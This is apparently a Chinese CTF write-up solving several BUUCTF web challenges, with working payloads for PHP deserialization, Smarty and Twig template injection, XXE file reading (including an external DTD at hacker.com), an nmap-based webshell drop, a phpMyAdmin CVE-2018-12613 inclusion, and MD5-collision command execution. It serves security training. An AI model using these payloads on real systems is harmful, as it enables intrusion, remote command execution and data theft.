if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

通过这里的__destruct方法中调用gettime()函数来实现任意命令执行,exp如下

<?php
class Test {
var $p = "ls";
var $func = "system";
}
$a=new Test();
echo serialize($a);
//O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
POST:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

image-20250619180046118

可以实现rce,后面的命令就同理了

POST:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"find / -name "flag*"";s:4:"func";s:6:"system";}
POST:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20250619180304940

[BJDCTF2020]The mystery of ip(smarty模板注入)

欸,才发现这个和启航杯-Web_IP一样

首先访问hint页面,源码中找到提示<!-- Do you know why i know your ip? -->,得知可能是从X-Forwarded-For伪造

image-20250619180640395

成功回显,由于是页面渲染,现在就直接尝试ssti,并且是php的页面,可能是twig,smarty,blade(才发现自己ssti那里只写了Jinjia2的,后面一定补上)

X-Forwarded-For:{{7*7}}

image-20250619181307220

这里随便弄个报错,就能看到模板为smarty了

X-Forwarded-for:{{().__class__}}

image-20250619182201291


PS:其实当时打启航杯就不太明白为什么这里可以直接执行命令,网上找wp阅读发现都是一笔带过,所以这尽量写详细一点


这里先参考下1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园,后面有时间了去把自己的ssti完善下

先查看下该模板版本

X-Forwarded-for:{$smarty.version}

image-20250619182708318

Smarty3.0+{php}标签已经被废除,所以可以通过{if}标签来实现读取

X-Forwarded-for:{if phpinfo()}{/if}

image-20250619182923650

成功命令执行

X-Forwarded-For:{if system("ls /")}{/if}
X-Forwarded-For:{if system("tac /f*")}{/if}
当然也可以直接执行命令
X-Forwarded-For:{system("tac /f*")}

image-20250619183859422

flag{eba9c942-98a3-4e8b-b67b-fb63af6aa159}

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

第一步和上面的[ZJCTF 2019]NiZhuanSiWei差不多

GET:text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里先尝试通过id参数和前面的文件包含写马尝试

GET:id=<?php eval($_POST[123]);?>

欸,但是这里似乎没有看到session_id,那这条路算是走不通

这里preg_replace中的 /e实现将替换字符串作为PHP代码执行,即第二个参数会被执行,但是改变不了,就要从第一三个参数上找到突破口。这里的strtolower("\\1")表示匹配到的第一个,而.*表示匹配任意字符多次,又由于.在php中是非法变量名,所以要用\S来代替,\S*表示匹配非空白字符多次

总的来说,就相当于从${getFlag()}中找全部字符串的第一个,就为${getFlag()},又由于/e修饰符将${getFlag()}作为php代码执行,进而调用getFlag函数实现rce

GET:\S*=${getFlag()}&cmd=system("ls /");
GET:\S*=${getFlag()}&cmd=system("cat /f*");

image-20250619193939316

flag{b1937420-14a3-486d-bbca-941ff8bfe770}

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //将字符串用单引号包裹,并转义字符串内的单引号,确保它被当作单个参数传递给Shell
$host = escapeshellcmd($host); //转义字符串中所有可能用于执行恶意命令的字符(如|、&、;、>、<、* 等),'和"仅在不配对的时候被转义
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

主要利用点就是根据nmap有一个-oG参数,可实现将命令和结果写到文件。而这两个函数这样使用会产生漏洞,反之则不会

参考文章PHP escapeshellarg()+escapeshellcmd() 之殇escapeshellarg与escapeshellcmd共伤 - NineOne_E - 博客园

这里卡了我很久的一个点就是escapeshellarg()在转义单引号时,会先转义再添加一个单引号,即'->'\''

举个例子

'<?php eval($_POST[123])?> -oG 1.php'
->(escapeshellarg)
首先转义单引号'\''<?php eval($_POST[123])?> -oG 1.php'\''
然后添加单引号''\''<?php eval($_POST[123])?> -oG 1.php'\'''

->(escapeshellcmd)
''\\''\<\?php eval\(\$_POST\[123\]\)\?\> -oG 1.php'\\'''

两个相邻的''就会理解为一个空字符串
''\\''-->前两个单引号和后两个单引号为空字符串,中间的\\转义为\
'\\'''-->第二三个单引号为空字符串,形成'\\',这是就不会转义,而是会直接作为\\
等价于\<?php eval($_POST[123])?> -oG 1.php\\

但是如果这样利用的话不能正常执行命令,所以需要添加空格来将两边隔开

' <?php eval($_POST[123])?> -oG 1.php '
->(escapeshellarg)
首先转义单引号'\'' <?php eval($_POST[123])?> -oG 1.php '\''
然后添加单引号''\'' <?php eval($_POST[123])?> -oG 1.php '\'''

->(escapeshellcmd)
''\\'' \<\?php eval\(\$_POST\[123\]\)\?\> -oG 1.php '\\'''

两个相邻的''就会理解为一个空字符串
''\\''-->前两个单引号和后两个单引号为空字符串,中间的\\转义为\
'\\'''-->第二三个单引号为空字符串,形成'\\',这是就不会转义,而是会直接作为\\
等价于\ <?php eval($_POST[123])?> -oG 1.php \\

这样就能正常给nmap传递命令

GET:host=' <?php eval($_POST[123])?> -oG 1.php '

image-20250619222355678

访问e6305cd14dbe6e1fc4041d81cb3fc9ee/1.php蚁剑连接即可

image-20250619222440095

flag{847a184b-de29-4f59-9e6e-a258374239ff}


GET:host='<?php eval($_POST[123])?> -oG 1.php '
则不会生成文件,因为最后处理后的命令有问题,不会真的执行nmap命令
GET:host=' <?php eval($_POST[123])?> -oG 1.php'
会生成文件,不过是1.php\\文件

看wp很多都写的有参差,做题还是真的要多本地测测哇


[GXYCTF2019]禁止套娃

扫目录还是出不来,就算线程开1也还是扫不了,奇奇怪怪的,感觉没啥问题

python dirsearch.py -x 503,404,400 -u http://868780b1-4b2f-450f-8932-657be3f66f75.node5.buuoj.cn:81/ -t 1

看wp发现是git泄露,直接用gitextract来提

python2 git_extract.py http://5b42e570-14cf-4c31-a20f-9a55c2024ea6.node5.buuoj.cn:81/.git/

源码如下

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //过滤data,php://filter,phar伪协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { //简单来说就是将a(b(c()))这个类型的函数替换为空,如果最后只剩下;就为1,即只能无参rce
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

无参rce

这里可以直接用无参rce来打

GET:exp=print_r(scandir(current(localeconv())));
localeconv()函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current()函数返回数组中的第一项,即.
scandir()会对目录进行扫描
print_r()进行输出

image-20250621224633721

GET:exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
array_reverse()函数逆序输出数组
next()函数返回数组下一个值
highlight_file()高亮文件

image-20250621224838459

flag{d758c119-0108-40a6-ae9e-e73614be8620}

类似的构造方式还有

GET:exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
pos()函数输出数组中当前元素的值,这里返回.

session_id

使用session_id()时,需要用session_start()来开启session会话,php默认是不主动使用session

GET:exp=highlight_file(session_id(session_start()));
Cookie:PHPSESSID=flag.php

image-20250621225251073

[NCTF2019]Fake XML cookbook

源码中发现js代码

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}

补充:XXE漏洞

1.什么是XML

XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。

举例如下

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>

2.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

<!DOCTYPE 根元素 [定义内容]>

3.内部实体声明

内部声明采用如下格式定义:

<!ENTITY 实体名 "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下

<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root>

4.外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

举个例子:

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

举个例子:

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>

xxe.dtd 内容如下:

<!ENTITY evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd“,里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

普通实体和外部实体的差别:

作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。


题目

所以这里就可以通过username和password直接构造

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>

image-20250621230957819

flag{39ea905c-990c-4502-b9a7-9c5cad9bf576}

[GWCTF 2019]我有一个数据库

进环境发现是乱码,估计是不适配导致的,在源码索引中可以看到汉字

image-20250621231518477

还是先扫目录试试

python dirsearch.py -u http://d87371a3-898b-488f-aff4-01854af10246.node5.buuoj.cn:81/ -t 1

好吧,线程开1都仍然爆429

image-20250621231809386

可以看到有/robots.txt/MyAdmin/phpmyadmin/index.php等有效页面

/robots.txt发现phpinfo.php,暂没发现利用点

这里直接访问/MyAdmin/phpmyadmin/index.php不行,要访问phpmyadmin/index.php

进入数据库管理页面,可以看到当前的版本信息

image-20250621232314812

找到phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现_-CSDN博客

这里直接尝试包含文件,读到flag

GET:target=db_sql.php%253f/../../../../../../../../flag

image-20250621232533667

flag{70269014-6831-42f4-91af-d86eb7b44abe}

[BJDCTF2020]Mark loves cat

python dirsearch.py -u http://fd5d6747-8b72-4130-9759-68149793765c.node5.buuoj.cn:81 --timeout 2 -t 1 -e * -x 400,403,404,500,503,429

看了一个师傅的文章,加了一个--timeout 2,真的就能进行扫描了,只有一个线程跑的有点慢就是了

看到第一个爆出来的是git文件,那就存在git泄露,尝试提取

这里看到一个小知识点补充

GitHacker获取文件,Git_Extract获取 .git 文件

githacker --url http://fd5d6747-8b72-4130-9759-68149793765c.node5.buuoj.cn:81/.git/ --output-folder C:\Users\25050\Downloads\1

看到index.php后面跟了点东西

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y; //将$$y的值赋给$$x,比如传参a=b,那么赋值就是将$b的值赋给$a
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}


echo "the flag is: ".$flag;

主要漏洞点就是$$x = $$y;,这个能够实现变量覆盖,如果传参GET:a=b,那么就会将$b的值赋给$a

而且三个exit()echo都可以获得flag,下面详细说明一下

exit($handsome);

foreach($_GET as $x => $y){   //遍历get传参中的每一个值,键名作为$x,键值作为$y
if($_GET['flag'] === $x && $x !== 'flag'){ //判断键名为flag的值为$x且$x的值不为flag
exit($handsome);
}
}

首先要知道的是,在exit时会将变量的值一起带出来,所以进入条件之后将handsome的值赋为flag即可

flag=a&a=flag
即只要满足flag=(非flag字符)&(非flag字符)=flag就行

在第二轮循环时,$_GET['flag']为a,$x为a,a!==flag,所以成立进入条件

image-20250622001534993

这时进入条件后就要将handsome的值赋为flag,其实这里还用到了前面的赋值语句,将$flag的值赋给$handsome

注意这里三个参数的位置也有讲究

handsome=flag&flag=a&a=flag
经过赋值后
$handsome=$flag ->$handsome值为真实flag
$flag=$a ->$flag值替换为空
$a=$flag ->$a的值也为空

但如果是下面这种
flag=a&a=flag&handsome=flag
经过赋值后
$flag=$a ->$flag值被替换为空
$a=$flag ->$a的值也为空
$handsome=$flag ->$handsome的值为空
GET:handsome=flag&flag=a&a=flag
还有一种方式,同理
GET:handsome=flag&flag=handsome

image-20250622002530240

exit($yds);

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

这里还是可以通过赋值来直接实现,就不用传flag的值了

GET:yds=flag
经过赋值后
$yds=$flag ->$yds的值为真实flag

exit($is);

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);
}

思路相同,直接赋值就行,由于中间用的或连接所以不用管POST,如果换成&&那就打不出来了,POST:flag=flag会将$flag=flag,并且这个的位置没有讲究了,赋值只是把$flag的值赋给$flag,无伤大雅(PS:这里换了个靶机了,没注意到已经过期了)

GET:is=flag&flag=flag

image-20250622004300338

echo “the flag is: “.$flag;

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}


echo "the flag is: ".$flag;

这个就属于触发了没有GETPOST的情况,所以只要绕过这三个exit就行了,payload如下

GET:1=flag&flag=1

这里绕过第二三个exit很容易看出来,第一个exit中涉及到字符串类型比较,可以本地用以下代码测一下

<?php
foreach($_GET as $x => $y){
echo '$_GET[\'flag\'] :';
var_dump($_GET['flag']).'</br>';
echo '$x :';
var_dump($x).'</br>';
echo '$_GET[\'flag\'] === $x :';
var_dump($_GET['flag'] === $x).'</br>';
echo '$x !== \'flag\' :';
var_dump($x !== 'flag').'</br>';
};

image-20250622005658802

详细分析一下这个过程

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

1=flag&flag=1

第一次循环
$_GET['flag']=1(string即字符型)
$x=1(int即整形)
$_GET['flag']与$x比较是字符型和整型比较显然为false
$x与'flag'比较是整形和字符型比较显然为false,$x !== 'flag'即为true

第二次循环
$_GET['flag']=1(string即字符型)
$x=flag
$_GET['flag']与$x比较显然为false
$x与'flag'比较是两个字符型flag比较,$x !== 'flag'即为false

所以从上可以看出,这里成功绕过了三个exit,通过最后的echo输出了flag

image-20250622010308530

flag{3f1d56a3-db43-4bf3-9b82-4e0a43b3691b}

[WUSTCTF2020]朴实无华

还是没东西,先扫个目录(线程数开5快多了)

python dirsearch.py -u http://645410d7-4da8-4c0e-b814-dafa7f0f1da9.node5.buuoj.cn:81/ --timeout 2 -t 5 -e * -x 400,403,404,500,503,429

欸,扫出来个robots.txt,访问获得/fAke_f1agggg.php,也没有东西,查看页面报错

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4

那就抓个包看看,看到有/fl4g.php,访问获得源码

image-20250622170959241

这里看到是乱码,edge浏览器可以去下一个charset插件

image-20250622171650048

选Unicode就能获得源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

第一层

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

通过科学计数法绕过,可以本地用以下代码测一测,但是似乎php7.0以下有效

原理是在intval处理字符串2e4时只会读取2,读取到e就会结束,但是2e4+1就会作为数字转换后输出

<?php
$a="2e4";
$b=intval($a);
$c=intval($a+1);
echo $b.'</br>';
echo $c.'</br>';
echo "PHP Version: " . phpversion();

image-20250622173100463

image-20250622173157698

GET:num=2e4

第二层

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

这里就一个积累,有字符串MD5后仍以0e开头

QNKCDZO
QLTHNDT
240610708
s214587387a
s878926199a
s155964671a
0e215962017 #注意,最后一个可以用于$a==md5($a),md5加密后仍以0e开头
GET:md5=0e215962017

image-20250622180915075

第三层

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

这个直接用其他的命令读取flag就行,注意就是用[替换_,然后用重定向符绕过空格

GET:get[flag=ls</%26%26tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

最终payload

GET:num=2e4&md5=0e215962017&get[flag=ls</%26%26tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20250622184438064

flag{b215f935-b526-4045-a22a-171e2676de04}

[BJDCTF2020]Cookie is so stable

flag页面随便传参123,看到cookie中有user=123,并且渲染到页面,猜测ssti

Cookie:user={{7*7}}

image-20250622185040825

回显成功,那么就直接常规注入,这里是php的页面,先尝试报错找到是哪个模板

常见模板有

python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp

给一个判断方法

image-20250622185811491

输入{{7*'7'}},返回49表示是 Twig 模块

输入{{7*'7'}},返回7777777表示是 Jinja2模块

Cookie:user={{7*'7'}}

image-20250622185944637

那么这里就是Twig模块

先直接贴一个payload,具体原理分析留着后面ssti拓展一起写

Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("find / -name 'f*'")}}
Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20250622190253605

flag{436c6ae4-1756-4b49-b59b-5a1d0fdaedbb}

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

链子思路很清晰,__wakeup中在比较字符串时就作为了字符串,触发__toString

Show::__wakeup->Show::__toString->Test::__get->Modifier::__invoke->Modifier::append

exp如下

<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));

payload为

GET:pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

image-20250622192327473

flag{a9ba3c09-9beb-4958-b5b9-4cd80022144c}

[MRCTF2020]PYWebsite

页面源码中看到成功逻辑是访问/flag.php,直接访问就行

image-20250622192716615

注意到这里的购买者和我自己,尝试修改XFF,成功获得flag,只不过和背景一个色

X-Forwarded-For:127.0.0.1

image-20250622192837972

image-20250622192841027

flag{dca28c4c-137c-4ec9-9b4b-fdc222f530a8}

[安洵杯 2019]easy_web

进去可以直接看到url有一个cmd=的位置,尝试直接ls,但是失败了

GET参数还有一个位置,丢厨子一把梭得到一个图片文件名

image-20250622193457993

那么尝试访问flag.php,即TmpZMll6WXhOamN5WlRjd05qZzNNQT09

image-20250622193949312

但是并没有东西,重新尝试读下index.php,即TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

源码中可以看到base64编码后的数据,解码后获得源码为

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

可以看到这里要求a和b不等,但MD5相等,并且是强制转换类型的强比较,碰撞payload即可

POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
POST:a=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%14%9E%C7%E6G%D6%06%8Bq%3B%AC%93z%1E%FAz%0B%FC%F8%A2%DDX%2FN%03%CAv%A6%2C%2A%16%0B%9B%DD%F8%CB%CA%07%E8%FD%0Bd%F1%9B%3BD%8EI%C7v.%5Db%2C%CDIV%FB%F3%C0%3B1%FD%CB%81NL%14%A5%0F%13%FD%A7%E9%B7%F1Cx%27E%1A%F0%A0%3B%17%F5+b%C1%D7%F5%CC%CD%29%5D.%F5%60%9E%FE%3EJ%AF%16%D3%83%BD%AF%A0-mJ%CE%D3%9B%DF%08%99%F41%22%D7%1E%7E%F4%28%99%7B&&b=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%14%9E%C7%E6G%D6%06%8Bq%3B%AC%93z%1E%FAz%0B%FC%F8%22%DDX%2FN%03%CAv%A6%2C%2A%16%0B%9B%DD%F8%CB%CA%07%E8%FD%0Bd%F1%9B%3B%C4%8EI%C7v.%5Db%2C%CDIV%FB%F3%40%3B1%FD%CB%81NL%14%A5%0F%13%FD%A7%E9%B7%F1Cx%27E%1A%F0%A0%BB%17%F5+b%C1%D7%F5%CC%CD%29%5D.%F5%60%9E%FE%3EJ%AF%16%D3%83%BD%AF%A0%ADlJ%CE%D3%9B%DF%08%99%F41%22%D7%1E%FE%F4%28%99%7B
GET:img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t /flag
POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

image-20250622195345551

